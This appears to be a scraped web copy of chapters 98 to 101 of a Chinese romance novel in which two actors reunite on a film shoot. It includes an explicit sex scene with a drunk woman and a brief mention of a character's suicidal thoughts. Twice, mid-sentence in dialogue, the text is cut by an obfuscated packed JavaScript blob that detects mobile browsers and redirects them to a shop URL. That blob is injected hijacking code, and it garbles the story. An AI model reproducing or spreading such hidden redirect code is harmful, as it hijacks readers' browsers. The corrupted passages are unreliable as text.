“负责”两个字,卡在喉间,终究没出口,心间灌进瑟瑟寒风。 谢劲舟定定地看着她的眼睛,看到了她眼中的黯然和神伤,心蓦地一疼,有股想把她拥入怀中的冲动。 但他没这样做,而是用指腹摩挲着她腰间露出来的肌肤,看着她的眼眸流动着意味不明的光,沉声说:“阿驰,你是不是还爱我?” 阿驰,不过两个字,宛若在驰路的心间下了一场暴雨,雨点敲得她的骨骼发出震天的响声。 驰路看了谢劲舟几秒,仰起头,把眼里的那股泛起的酸意逼了回去。 “谢劲舟,你懂什么是爱吗?”驰路嗤笑,抬手狠狠戳了下他的胸口,“你不配说爱!” 谢劲舟抓住她的手腕,看着她迷离的双眼,一把将她抱起,抗在肩头。 “谢劲舟,你放开我!”驰路锤着他的胸。 谢劲舟丝毫不为所动,见她挣扎得厉害了,停住脚步,侧头看她:“好了,别动。” 不像斥责,反倒像在哄小孩儿。 “谢劲舟,我恨你!”驰路不挣扎了,乖乖地被他扛着,看着他棱角分明的痞帅侧脸,戳了下他的脸颊,醉眼朦胧,咬牙说,“一辈子都不会原谅你!除非……你还爱我。” …… 谢劲舟喝了酒,没法开车,叫了代驾,先去时清那儿拿回了驰路的包,再送她回酒店。 车启动,驶向远方,谁都没注意到后面追上来的周柏屿。 他找了驰路很久,没找到她,给她打电话也没接,便在酒吧等她,等了许久没等到人,刚想打车回去,便看到了谢劲舟扛着驰路上了一辆破旧的越野车。 望着越野车离开的方向,周柏屿暗想:他们什么时候这么亲密了? …… 谢劲舟跟驰路都坐在后排,驰路不知是醉了难受,还是累了,上车没一会儿便睡着了,此刻脑袋歪倒向车窗,眼见要撞到玻璃,谢劲舟抬手挡在玻璃上,她的脑袋撞进了他的手心。 谢劲舟将她的脑袋轻轻拨着,靠到他肩上。 他摘了她的帽子,理了理她额头几捋汗湿的头发,她还留着齐肩短发,一刀切的黑发,配着她今天的穿搭,青春酷飒得不像话,跟高三的她,没什么两样。 她好像,还是他的蝴蝶、他的小姑娘。 小姑娘睡得不太安分,往他怀里钻着,抬手环住了他的胸,似乎把他当床,似乎想要找到某个安全的港湾。 谢劲舟环住她的肩,将她拥在怀里。 宛若拥住了永不缺席的乌托邦。 乌托邦里有长不大的少年,少年困于方寸山,蝴蝶杀敌万千,带他重回人间。 少年走出了方寸山,却弄丢了他的蝴蝶。 晚风沉溺于大海,洋桔梗开了又谢,蝴蝶何时飞回身边。 99. 我的蝴蝶怎么哭了 「别人以为我光亮,只有我知道,我再唱不出生命的绝响。 因为,我丢了一根肋骨。 可是,有人乘着一叶小船来了。 在我身上,种下一根根疯骨。」 ——《小蝴蝶的自由》 回到酒店,谢劲舟一路抱着驰路,到了她住的房间门口,才将她放下来,搂着她的腰,让她靠着自己。 谢劲舟从驰路的包里找出了房卡,刷卡进了房间。 她的房间是大套间,厨房、客厅、卧室都有,他将她放到床上,刚想松开她,她却搂住他的脖子不松手,嘴里还喃喃地说着“别走”。 谢劲舟平静如水的心,顿时激起阵阵涟漪,搭在她手背上要扯开她的手忽然停住,俯身看她。 她的呼吸一寸一寸地撩过他的脸庞,含着浓醇的酒气,清冽又滚烫。 谢劲舟感到自己的每个细胞都在复活,沉寂在荒野里的灵魂,在这一刻似被火焰点燃。 她搂着脖颈的纤纤玉手、拂过他脸颊的热气、被弄花了的烈焰红唇、脖颈上的黑色颈链…… 她似勾人妖精,身上的每一处都是可以将人淹没的江河。 谢劲舟的呼吸有些急促,心跳声咚咚响着,蝴蝶就在眼前,他盼了六年的人,以如此亲密的姿势勾着自己,跟他说“别走”,仿佛一下子把他带回六年前。 他们好像还是亲密无间的藤蔓,死死地缠着对方,谁都不想分开。 但理智却告诉他,他们分开了,他不该越界,更不该对醉酒后的她越界。 谢劲舟拼命地压制住内心一遍遍涌上来的某种渴望,想要拿开驰路的手,却发现她搂得那么紧,不得不一根一根地掰开她的手指。 终于分开,谢劲舟看着躺在床上的驰路,她比之前更瘦了、更白了,像黑夜里的红玫瑰,妖冶、神秘、迷人,又带刺。 她的一条腿还搭在床沿,谢劲舟帮她脱掉鞋、脱掉袜子,看到了她右脚踝处的文身,酒红色的蜿蜒的线,线上有一只起舞的蝴蝶、“自由”的希腊语,还多了个字母。 他蹲下身,捧着她的脚踝,细细地看,视线扫过字母,扫完,心间颤动。 他一一抚过那四个字母,抬眼看着低低喃声说着什么的驰路,说了句“傻瓜”。 “zhou”,她什么时候文上去的? 明明都分开了,文上去的意义是什么? 谢劲舟挪到驰路身侧,赫然发现有一行眼泪从她的脸颊滑落,流入她的发间。 他的蝴蝶怎么哭了? 谢劲舟一点都见不得她哭,心一阵刺痛,爱抚般地抬手轻轻擦掉她的眼泪。 温热的泪水沾湿他的手指,他将手指上的泪水吻尽,咸咸的味道停留在唇齿,心间的疼意加剧。 她是做噩梦了吗? 她在说着什么,声音很小,谢劲舟不得不凑近她,听到她在一遍遍说着:“舟哥,别走。” 谢劲舟抚摸着她湿润的脸庞,低声说:“好,我不走。” 驰路像是听到了,摩挲到他的胳膊,一把将他拽到自己胸前,睁开迷蒙双眼:“说好了不走,要一直陪着我。” 说完,勾住他的脖子,用力吻上他的唇。 * 所有压抑的情绪,此刻在驰路的吻里尽数溃败。 她的吻不同于他的,如果说他在巷子里对她的吻带着点偿还的意味,那么她对他的,就是一种占有,一种害怕离开的拼命留住。 驰路边吻他边流泪控诉:“为什么一直不联系我?为什么要丢下我?” 谢劲舟没有回答,在她的吻里沦陷、失控,手放在她的脸侧,手指插入她的发间,反客为主地含吮着她的舌,一遍遍进攻,肆无忌惮地扫过她的领地,将六年来积攒的思念尽情释放。 她是蛊惑人心的蝴蝶,是他无法再喜欢上别人的唯一理由。 他骗不了自己,他从没放下过蝴蝶。 他跟他的蝴蝶接了一场绵长又湿润的吻,没有埋怨,没有恨意,没有报复,只是纯粹的吻。 如初升的朝阳、退潮的沙滩,青春里那场隐秘的纯洁的吻。 许久许久,谢劲舟才从驰路的唇齿间退开,捧着她巴掌大精致的小脸,看着她迷离醉人的狐狸眼,低头吻她涌出来的眼泪,那么轻柔地吻她,仿佛用尽了一辈子的疼惜和爱意。 他埋在她的颈侧,从脖颈一直吻到耳边,跟她说: “阿驰,我不会丢下你,我会陪着你一起上天堂,也会陪着你一起下地狱。” 夜浓了几分,窗外静悄悄,驰路脱掉他的上衣,伸出粉嫩的舌/尖,勾住他凸起的喉结,从轻轻吮吸,到全部入口,越吻越深,越吻越沉醉。 声音越来越大,在寂静的房间里响起,暧昧得像天空燃起了无数束烟火。 从喉结到锁骨上的文身,再到他的胸膛,一寸一寸地吻他,热浪在两人之间翻涌。 谢劲舟内心的火焰彻底被点燃,血液仿佛在燃烧,热度一阵高过一阵。 他把手搭到她的腰间,一把脱掉她的黑色紧身背心,看到她婀娜的身体,有瞬间的愣怔。 比从前更纤瘦,但依然凹凸有致,皮肤白皙,光滑如瓷,美得像上天塑造的艺术品。 谢劲舟望着她那张巴掌大的红透了的脸庞、有些迷离的双眼,抬手沿着她的脸部轮廓一点点往下滑,声音沉磁:“阿驰,你想要,是吗?老子给你!” 他的指腹擦过她的唇,柔软袭来,震得他的心猛然发颤,倏忽间,俯身朝她的唇吻下去。 他们遵循本能,在彼此的身上找到刻骨温存。 “舟哥,我要多一点、重一点。”驰路醉意渐深,但他的每一次起伏都牵扯着她的神经,带她去往炽热海域。 她在海上漂泊太久了,他终于载着她回家了。 她的身体,如火燎原,泛着胭脂般的红,烫得厉害。 她用双腿紧紧地圈着谢劲舟的背,双手勾着他的脖颈,以一种完全被承受的姿态迎接着他一次次的攻城掠地。 如果这是一场梦,就让这梦更久一点。 她要他爱意滚烫,要他永远停留。 这样,漂泊的蝴蝶,灵魂才有归宿,才会找到家。 …… 驰路被一阵急促的敲门声弄醒,睁眼,脑袋沉沉,浑身都酸软,发生了什么? 她不顾敲门声,想着昨晚发生的种种,被谢劲舟牵着奔跑到无人的巷子里,他发泄般地狠狠吻她,又把她扛到肩上,后来呢…… 记忆好像在此进入空白,她是怎么回酒店的? 回酒店后,驰路睡下了,然后做了一场旖旎绮梦,梦里有谢劲舟,他温柔又深情地将她占有,好像主动的是她。 梦那么真实,仿佛真的发生过,浑身的酸软也是真的。 驰路身上已经换上了睡袍,谁帮她换的? 她没再继续想,走到门边,开门看到了小苏。 小苏拎着袋子举到驰路面前:“驰姐,周少跟我说,昨天你回来太晚不要打扰你休息,我就去餐厅给你带了点早餐送给你。” “谢谢小苏。”驰路接过袋子。 小苏看到驰路脖颈处、胸前有一块块的痕,紫色的、红色的,大大小小,看得吓了一跳:“驰姐,你昨晚做了什么?” 驰路低头一看,看到身上的痕迹后,连忙跟小苏说:“不要告诉任何人。” “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560816|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蚊子咬的吧,我去给你找点药。” “……” 面对傻白甜的小助理,驰路哭笑不得:“我这儿有药。” 小苏走后,驰路关上门,匆忙将早餐放到茶几上,急忙跑到卫生间,看着镜子里的自己,脖颈、胸前一片痕迹。 是吻痕。 驰路愣怔住,昨晚发生的不是梦? 她跟谢劲舟…… 无数旖旎画面,如同破土而出的嫩芽,纷纷占据她的大脑。 迷醉之际,她在他暴烈的索取里沉溺,吻过他的喉结、锁骨上的文身,还有他紧实的野性的腹肌。 所有藏匿的感情,都在那一刻爆发,由着是一场梦为所欲为。 他给她惊涛骇浪,她还他烈焰玫瑰。 他们都失了方寸,一晌贪欢,皆是疯骨。 她在他的温存里,找到了失去许久的炙热。 像经历了一场酷热的夏季,谁都大汗淋漓,谁都恣意尽兴。 从卧室到浴室,每一处都留下他们的痕迹,每一处都极其疯狂激烈。 她侧头看浴缸,里面还有未干的水,上面搭着一条湿哒哒的浴巾。 驰路烦躁地揉乱头发,咬牙骂了一句:“该死的谢劲舟!” …… 吻痕太多,也太明显,驰路不得不在里面穿了件高领吊带,挡住那些明眼人就能看出来的暧昧。 她看着小苏给她买的早餐,毫无食欲,把自己砸进床里,想起昨晚穿的那套衣服,找了一圈没找到,是被他拿走了吗? 不知在床上躺了多久,听到手机振动声,驰路才点开看,是小苏提醒她要出发的短信。 为了避免低血糖,驰路吃了点鸡丝饸饹面,味道一般,她想吃谢奶奶做的素拌饸饹面了。 驰路套了件常服,戴着鸭舌帽、墨镜出门,刚打开门便听到左边房间传来一道低沉磁性的男声:“晚上我会再来找你。” 驰路转身去看,看到谢劲舟站在门口,里面传来女声:“好,我等你。” 谢劲舟已经换了衣服,白色衬衫、黑色休闲裤,与在片场穿着背心、运动裤的他截然不同,少了痞气,多了正式。 他这是见谁,还跟她说这样的话? 隔壁的门关上,谢劲舟朝她走过来,擦肩而过时,他跟她打招呼:“驰老师好。” 匆匆一瞥间,驰路看到谢劲舟白色衬衫上的口红印,把墨镜往下推了推,果真是,暗红色,格外醒目。 她的脸色立马一沉,冷嗤道:“谢老师,业务还挺繁忙啊!” 谢劲舟低头看衬衫,这才发现不知何时上面多了个口红印,眉头一皱,但没说什么,转身走了。 等电梯时,手机响了,谢劲舟拿出看,微信里多了好友申请,点开。 好友申请备注:浑蛋。 发送人:燕尾蝶。 身旁传来一阵玫瑰的香气,谢劲舟一侧头,看到了戴着墨镜的驰路,紧紧抿着唇,咬着牙。 即使戴着墨镜,谢劲舟也能感受到透过镜片传过来的不爽。 谢劲舟却当什么都没看到,绅士地让驰路先进了电梯。 电梯里就他们,透过电梯光洁的玻璃,清晰地看到驰路的影子。 她穿着宝石蓝高领紧身吊带、宝石蓝短裤,吊带外面穿了一件oversize的白色外套,露出纤长笔直的腿。 外套遮住短裤,典型的下半身失踪系列。 看似普通的穿搭,却被驰路穿得极具风情,酷飒中透出性感。 谢劲舟挑眉看她,漫不经心地问:“驰老师,这么热的天,怎么穿高领?” “……” 驰路抬头看他,目光愤愤。 100. 我为什么要恨你? 「在日落之前,我要做栖息在你身上的一只山雀。 永远停留。 小蝴蝶,既然你来了,就别走了。 你知不知道,你的身体,比你的心还要诚实。」 ——《神明降临》 去片场的路上,小苏感到驰路的情绪不对,时不时去看手机,看完又扔到一边,一副烦躁的样子。 “驰姐,你是不是热啊,要不要让王师傅把空调调低点?”小苏贴心地问。 “不用。”驰路想到谢劲舟在电梯里问她的那句话就气,穿高领,还不是拜他所赐,他倒好,转身就跟别人逍遥去了! 他把她当什么了? 那些暴烈的占有,难道都是她的错觉? 明明那么真实,就连吻痕都留的那么多、那么用力,好像,她还是他的。 早知是浪子,却还奢望他守着旧爱,简直可笑! 驰路望着窗外,心头泛起阵阵酸楚。 就当一夜情吧,没什么大不了。 这时,手机振动了下,她瞬间回神,拿过手机一看,微信有人发来好友申请。 会不会是谢劲舟发来的? 如果是,她才不要看!看了只会影响她心情。 …… 今天驰路要演的一场戏会比较激烈,顾辞山问她要不要找替身,驰路说:“不用,我来演吧,这样呈现出来的效果会真实。” 驰路饰演的祁梦在跟陆程真的相处中,在独处的过程里,忽然明白,陈醉对她的不是爱,而是一种残酷的占有。 她丢掉了工作、失去了自我,她被他圈养,误以为,他给的就是爱情。 她第一次在陆程真那里体会到了心动的感觉,就像天空下了一场雨,雨过天晴,彩虹漫天。 当陈醉喊她去别墅下的一处小树林发生亲密关系时,祁梦第一次拒绝、第一次反抗。 在哄骗无效后,陈醉第一次对她露出真面目,发狠地把她甩到地上,揪住她的头发在地上拖,边拖边恶狠狠地质问她:“祁梦,你是不是给我戴绿帽子了?你喜欢陆程真?” 驰路的头皮被扯得生疼,后背擦过凸起的碎石,磨得她的背一阵疼。 她的眼里含着因疼痛溢出来的泪水,眼泪没有掉下来,含在眼眶里,楚楚可怜。 谢劲舟在工作人员的身后,看着驰路演的这幕戏,她仿佛天生为演戏而生,她把克制又张扬的挣扎演得很到位,眼里蓄着的眼泪迟迟没有落下。 她把眼泪一次次逼了回去,看着陈醉的眼睛里全然没了爱意,透出复杂难言的情绪。 她的头发还被周柏屿拽着,被扯掉了发簪,一头黑发凌乱地散落在脸上,平日里穿着旗袍,端庄优雅的她,此刻狼狈不堪。 即便如此,驰路的身上仍有一股自我觉醒后的反抗意识。 她看着陈醉的眼眸,坚定又厌恶。 “陈醉,你放开我。”祁梦边说边想要拿开陈醉的手,没想到却被他狠狠地扇了一巴掌。 驰路侧头偏过去,做出被狠狠打的模样,即使她让得快,周柏屿的手还是擦过了她的脸颊,传来一阵疼,似乎被他的手指抓破了。 顾辞山没喊停,但周柏屿却停了下来,急忙去看驰路有没有被伤到。 他轻轻地掰过驰路的脸,看到她的脸颊上有一道半指长的伤痕,须臾,渗出血迹。 “阿驰,你受伤了。”周柏屿连忙将她拉起来,充满歉意,“对不起,刚才还是伤到你了。” 走戏时,他们对过这场戏,周柏屿下手轻,驰路跟他开玩笑:“周老师,等正式开拍时,你可要真打,我会躲开的。” 周柏屿其实已经收着力道了,奈何还是伤到她。 顾辞山想过去看驰路的伤情,却有一人先他一步,抢在了他前面。 “小谢,你让让,我来看看。”顾辞山跟挡在他前面的谢劲舟说。 谢劲舟看到蓬头垢面的驰路,脸上有一道伤痕,眸子冷下去。 但他什么都没做,退回去,看着一众人过来看驰路。 她是剧组里的“国宝”,大家都供着,不差他一个。 “阿驰,接下来的戏,等明天再拍吧。” “顾导,就这点小伤,没什么。”驰路用手机前置摄像头看着自己,还好,伤口不大,“补个妆,就能盖掉,明天再拍,影响进度。” …… 化妆师叶薇薇帮驰路补了妆,盖住了伤口,几乎看不到。 顾辞山跟驰路说,刚才的戏要重拍下,周柏屿表现得不够狠,不管是动作还是眼神,都要再狠厉些。 周柏屿知道顾辞山向来追求完美,刚才他已经尽自己所能表现出对祁梦的狠,他本想要一条过,没想到还要再拍一条,驰路又要遭一次罪。 驰路看出了周柏屿的担忧,拍了拍他的肩膀:“周老师,没事,你演的是浑蛋陈醉,尽管放马过来。” 再演一次被周柏屿在碎石地上拖拽的场景,驰路的背和头皮的疼越发厉害,但她克制着疼痛,眼里依然是对陈醉坚定的厌恶,丝毫没有表露出一点疼痛。 因为在祁梦看来,这样的疼太轻微了,跟他晚上对自己的折磨不值一提。 祁梦的身上都是伤痕,是陈醉赐予的。 这些伤痕,更让祁梦意识到,她不能再被他控制下去。 这次周柏屿狠狠地扇了驰路一巴掌,被她躲开,她没有捂住脸,而是直直地瞪着他:“陈醉,这就是你所谓的爱吗?” “爱?”陈醉猖狂地笑道,“我现在让你知道什么才是真正的爱!” 陈醉拼命地撕扯她的旗袍,盘扣一粒一粒地掉落,露出她脖颈处的吻痕。 周柏屿看得一惊,但只有一秒,很快进入到角色中,压在她的身上,吻她的唇。 接吻的画面采用了借位,但从旁人的角度看,周柏屿吻得激烈又凶狠,发泄着他的原始欲/望。 “陈醉,你放开我!放开我!!!”陈醉反抗声越来越大,喊得越来越嘶哑,但她自始至终没有流一滴眼泪,全是拼命抵抗,藏在内心深处的自我被激发出来,不再屈服于他的暴力。 一个凶狠地吻,一个拼命地挣扎、抵抗,这是一场没有爱、只有占有的吻。 拍的是两人的侧面,没有谁看到驰路身上的吻痕。 “咔。”顾辞山对这次周柏屿的表现还是不太满意,想要去跟他讲解怎么拖拽驰路时,发现驰路在匆忙扣盘扣,被他瞥到了脖颈上的吻痕,眉头拧了一下。 这场戏连续拍了五次,顾辞山才满意,拍完跟两人说:“你俩辛苦了,尤其是阿驰,背疼不疼?”他看到驰路的旗袍上全是尘土和青草。 “没事。”驰路扣上最后一粒纽扣,吻痕全都被隐藏在旗袍下。 谢劲舟是不是仗着她要穿旗袍拍戏,所以才肆无忌惮地在她身上种草莓? 周柏屿拉着驰路站起来,帮她拍后背上的尘土,拍一下就疼一下,驰路皱了皱眉,想要撩起盖在脸上的乱发,却只顺了顺,重新将头发盖在脸侧。 顾辞山看她这样,还是不放心:“阿驰,你去更衣室看看有没有受伤,如果受伤的话,赶紧抹点药。” “好的,顾导。” 这点疼对驰路来说不算什么,反而提醒她,你是祁梦,是被陈醉长期虐待要清醒一回的祁梦。 她要借着这疼更好地入戏,要演对陈醉的情感变化。 …… 驰路去更衣室换衣服时,扭头看到后背多处已被磨破了皮,已渗出血,沾在旗袍的反面。 如她所料,受伤了。 驰路没去管这些伤口,只是用纸巾擦去血迹,套上了常服。 她听到小苏喊她:“驰姐,换好衣服了吗?” “有事?”紧身上衣擦过后背的伤口,袭来一阵疼,驰路却连眉头都没皱一下。 “谢老师说有东西要给你。” “跟他说谢谢,”驰路背靠门板上,缓缓启口,“不用。” 谁要浑蛋的东西,谁就是狗! * 还没见着浑蛋,驰路便接到了路女士打来的电话,跟她说了近两个月的行程,即使她在剧组演戏,行程也被安排得满满当当。 在来剧组前,驰路便跟路漫说好,这三个月她会一心扑在《密林深处》,不要给她任何行程安排。 第一个月确实没有打扰她,她以为路漫终于听了一回她的话,结果,根本没有! “妈,跟你说了,不要给我安排,为什么要安排这么多?”驰路语气中带着不满。 路漫并没有把她的话放在心上:“我听顾导说了,你们拍戏进度很顺利,你每天的戏也没有排得很满,为什么不再接点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560817|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活儿。” “妈,空下来的时间,我要琢磨剧本、研究人物心理,想着用什么样的方式来演活角色。”驰路解释,“你说的行程都推了吧。” “妈妈都答应下来,签合同了,你不接也要接啊。”路漫看似无奈地说,但每个字都透着不容反驳的强势。 驰路站在顶楼的露台上,趴在栏杆上,看着远处即将落山的夕阳。 景色美得如诗如画,仿若电影里拍出的梦幻镜头。 可为什么偏偏要在这样的美景里,听到这么令人不爽的消息。 这六年,驰路能跟路漫少接触就少接触,但她是她的经纪人,比谁联系她都多。 后来,她知道,从她把芳町镇接回去的那天,老妈就把她当赚钱的工具。 话说,驰路还要感谢李浦,如果不是李浦,当初老妈也不会把她召回去,而李浦让她回去,并不是因为想对女朋友的女儿负责,只是因为看到她有当明星的潜力,想从她身上捞金。 世上众人,多的是为利而来,但这事摊在她老妈身上,驰路还是深受伤害。 她以为老妈让她回去是爱,却不想是利用。 但她渐渐接受了,基本也顺从老妈的安排,因为她已经失去挚爱,她终归要抓住点什么。 就像当初被老妈抛弃在芳町镇,她要抓住点什么一样。 她越是顺从老妈,老妈越是变本加厉,给她安排的行程只多不少。 上大学那会儿,驰路跟老妈说:“妈,你给我安排这么多活儿,严重影响到我的学习了。” 老妈说:“整天就知道学习,学习有赚钱重要吗,就算你毕业了,不也是要赚钱。” 一开始驰路还会反抗,跟老妈理论一番,说自己学习有多忙,她要多磨练演技,但后来她懒得说了,因为说再多都没用。 这几年,她常常累得一到车上就睡着,压力大的时候,晚上会失眠,吃大把大把的安眠药。 有时,她吞服大把的安眠药,意识处于迷迷糊糊之际,会蹦出“就这样一了百了”的念头。 活着有什么劲儿! 没有人可以真正走进她的内心,那么多的光鲜亮丽都是在人前的伪装,卸下闪耀的华服、精致的妆容,她不过跟其他人一样,凡人一个,也有喜怒哀乐。 凡人还有三五好友,她呢,看似谁都可以跟她走得近,但谁都走不进她的心。 遇到烦心事时,也只能自行消化。 面对路漫的强势,驰路这次没有妥协:“妈,推了,我不接!” “推了要赔大额的违约金,你赔得起吗!”路漫拔高声音。 驰路烦躁地挂断电话,阻隔了路漫想要继续说的话。 电话再次响起,一通接着一通,都是路漫打来的,驰路听得心烦意乱,干脆关了机。 老妈一次次地给她安排满行程,美名其曰“多攒点嫁妆钱”,但在她看来,她只不过是跟李浦统一战线,拼命吸她的血,不尊重她的想法,不管她走得累不累。 驰路从外套口袋里掏出烟盒,抖出一根,却没带打火机,刚想把烟放回去,这时,一把打火机出现在她眼前,银质复古的,上面有半个羽毛翅膀,羽毛翅膀被磨得褪了色,打火机看上去越发复古。 拿着打火机的那双手,手指修长,骨节分明,上面挂着一滴剔透的汗水,似乎还沾着点灰。 粗糙的、黏腻的气息扑面而来。 啪嗒一声,打火机上的火焰升起,吐出猩红的火舌。 驰路将烟叼到唇间,火焰跟随而来。 “谢老师怎么有时间来这里?”驰路掀起妩媚勾人的狐狸眼,嘲讽地笑着看向谢劲舟。 你不是日理万机吗! 不是有能力刚跟她几番云雨后,转头又找别人吗! “活儿干完了。” “活儿还有干完的时候啊!”驰路朝谢劲舟的脸上吐烟圈。 烟雾在两人间弥漫,他们在朦胧中望着彼此。 一个眼神愤然,一个面色无波。 都赤诚,都坦然,都复杂。 “你看我发你的好友申请了吗?” “谁要看!” “驰老师,你不会还在恨我吧?” 驰路冷哼一声,吸了几口烟,把烟尽数吐到他脸上:“谢老师,你倒说说,我为什么要恨你?” 101. 小蝴蝶失踪了 「深渊的枯木上注定开不了鲜花。 想让伤口变成勋章,好像只是想象。 我不过是过往的笼中鸟,囚困于深渊。 Z,你能来救救我吗?」 ——《小蝴蝶的自由》 驰路有什么理由、有什么资格还恨谢劲舟? 恨他六年里来的失联,还是恨他昨晚跟自己亲密后再见时的疏离? 人一旦有恨,就有爱。 她不想让自己生出太多的情感,所以,对谁她都保持着一定的距离,哪怕是路女士,她都不知道她压力大时失眠吃药。 在路女士面前,驰路表现出铮铮铁骨、活力无限,仿佛是不会停歇的永动机,从不跟她展露脆弱的一面。 在谢劲舟面前,驰路更不会低头,也不会示弱。 他是她心中的一块伤痕,她巴不得痊愈,但只有她知道,这块伤痕,从来没有愈合,现在还有被越扯越开的趋势。 驰路烦躁得很,走出别墅,爬去山顶透气。 爬到山顶时,天已黑下去,夕阳完全落入地平线,她只看到了一抹浅浅的橘色霞光。 霞光在天际停留须臾,转瞬即逝。 宛若她短暂而炙热的初恋。 她站在悬崖边吹着风,风裹挟着白日里的残留的热,扑了她满面。 山间寂静,风声簌簌,鸟雀在树间自由地飞来飞去。 她想起陆程真跟祁梦说的那句“我会让你知道,鸟也是会为树停留的。” 跟谢劲舟对戏时,他说出这句话,她有瞬间的失神,有些分不清他是对祁梦说的,还是对她说的。 当她问谢劲舟“谢老师,你倒说说,我为什么要恨你?”时,他从她指间拿过烟,吸了一口,将烟雾吐到她脸上,眸光深邃,声音沉哑:“我没能每年陪你过生日。” 驰路的心头泛着说不出的酸,自从跟谢劲舟分开后,每年的生日,她都过得热闹,后援会会帮她布置好生日会的一切,粉丝会给她送礼物、送贺卡,还有生日祝福。 歌舞升平,热闹一片,但她总觉得少了点什么。 她每次都会在生日会的深夜,静静地伫立在窗前,手里端着酒杯,一杯接一杯地喝,烟也一根接一根地抽。 喧嚣散去,给她带来的不是充盈,而是一种更加深刻的孤独。 一开始她独自守着租的房子,后来买了公寓的顶楼,站在窗前,俯视城市的霓虹、空荡荡的街道,每年都会想起六年前谢劲舟跟她说的“阿驰,生日快乐,你以后的每次生日,我都不会缺席!” 有一年,她喝醉了,想要给谢劲舟打电话。 电话号码早就被拉黑,但那十一位数,她不用想,都倒背如流。 敲出数字,最终还是没拨出。 往前走吧,驰路,别回头。 芳町镇,你回不去。 谢劲舟,是不再属于你的远方。 放下吧,别奢望了,哪怕一点。 心里堵得厉害,想哭,却掉不出一滴眼泪,只能生生地忍着堵在胸口无法言说的痛楚。 驰路什么都没说,一把从谢劲舟嘴里夺过烟,狠狠地扔到地上,踩灭,像踩碎他们失联的六年。 天边的云渐渐聚拢,从蓝色变成灰色,好像要下雨了。 驰路在山顶又待了会儿,才往山下走。 * 小苏发现驰路失踪时已是晚上八点,先前她没见着驰路,打她电话也打不通,以为驰路跟周柏屿先回酒店了。 等到了酒店去找驰路,却发现她不在,打她电话也打不通。 她给周柏屿打电话,才知道驰路并没有跟他一起回去。 这下她着急了,在电话里哭着跟周柏屿说:“周老师,怎么办啊!都怪我,没能照顾好驰姐。” “你先别着急,下山前,我问她去哪里,她说出去走走,如果没有下山的话,应该还在山上。” “在山上?”小苏望着窗外下起的大雨,眼前一亮,“会不会在山上的别墅里躲雨。” “有可能。” “周老师……”小苏一个人去山上有些害怕,但拉上大明星也不合适,人家是什么身段,凭什么要帮她。 “我跟你一起。”周柏屿毫不犹豫道。 “周老师,这……是不是太麻烦你了。”其实,小苏的小心脏都快要跳出来了,她可是周柏屿的小迷妹,有跟偶像近距离接触的机会,她格外兴奋。 “找人要紧,楼下见。” …… 小苏往电梯那儿跑,神色匆忙,还没跑到电梯口,便被人抓住。 她不得不停住,转头看,见是谢劲舟,客气道:“谢老师。” “这么晚了,你去哪里?” “谢老师……”小苏想着,虽然自己很想单独跟偶像独处,但找到驰姐更重要,便凑近谢劲舟,跟他说了驰路失踪一事。 小苏没想到谢老师跟周老师一样,都毫不犹豫地要去找驰路。 咦,看来大家都很关心驰姐的安危啊! …… 谢劲舟开着自己那辆破旧的越野车,带着两人去往远郊的那座“云雾山”。 山这边的雨比市区下得还大,三人即使打了伞,爬到半山腰时,衣服也都半湿了。 小苏爬上来格外艰难,路滑难走,几次都是周柏屿拉着她才没让她滑下去。 小苏正打算站着歇会儿,便看到谢劲舟快速地往那座二层别墅跑去,疾驰如风,穿透黑暗。 谢老师找驰姐的心,还真是迫切啊! 像……找丢失了孩子的鸭妈妈。 “周老师,你的衣服都湿了,我帮你擦擦。”小苏看到周柏屿左侧肩膀湿了一块,拿出纸巾帮他擦。 周柏屿朝她摆手:“没事,不用擦。” 他看着跑向远方的谢劲舟,眸子沉了沉。 周柏屿加快步子往前走:“小苏,你知道谢老师之前认识驰老师吗?” 小苏收回纸巾,跟上去:“我们驰姐怎么可能认识谢老师,这不是拍这部电影才认识吗。” “是吗?”周柏屿想起上次在“地球引力”酒吧,谢劲舟帮驰路解围,带她回酒店,能看得出谢劲舟对驰路有着超乎搭档之外的情感。 “应该是吧。”小苏挠挠脖颈,一脸迷糊,“回头我问问驰姐,有消息一定会第一时间告诉周老师!” 谢劲舟几乎是冲进了别墅,里面没亮灯,窗帘也拉着,到处黑漆漆的,他打开灯,一个房间一个房间地找,就连卫生间、储物间都不放过,但哪里都没有驰路的身影。 他越找越着急,这么晚了,如果她不在别墅,在山上的话,就糟糕了。 这时,他听到有人上楼的声音,连忙走到楼梯口。 “阿驰,是你吗?”谢劲舟几乎本能地开口。 跑到楼道上的周柏屿脚步忽然一顿,过了几秒,才发出温润的声音:“谢老师,是我,找到驰老师了吗?” 谢劲舟连忙跑下楼,看着周柏屿:“没找到,我们去山上分头找。” “山这么大,就我们三个,分头找,很难吧。”周柏屿提议,“要不要找搜援队过来?” 一道闪电刺破夜空,透过窗户,劈开楼道间的黑暗。 “先不要。”谢劲舟知道,驰路不想让谁看到她的狼狈,尤其是电闪雷鸣的时候。 谢劲舟看了看手表:“现在九点半,如果十一点前我们还没找到驰路,就打电话叫搜援队。” “为什么现在不找搜援队?” “你想想,驰老师是知名演员,这事儿闹大了不好。”谢劲舟只说出原因之一。 “嗯。”周柏屿点头,“就按照你说的来,谁先找到了就给对方打电话通知下。” “好。” 两人互加了对方的手机号。 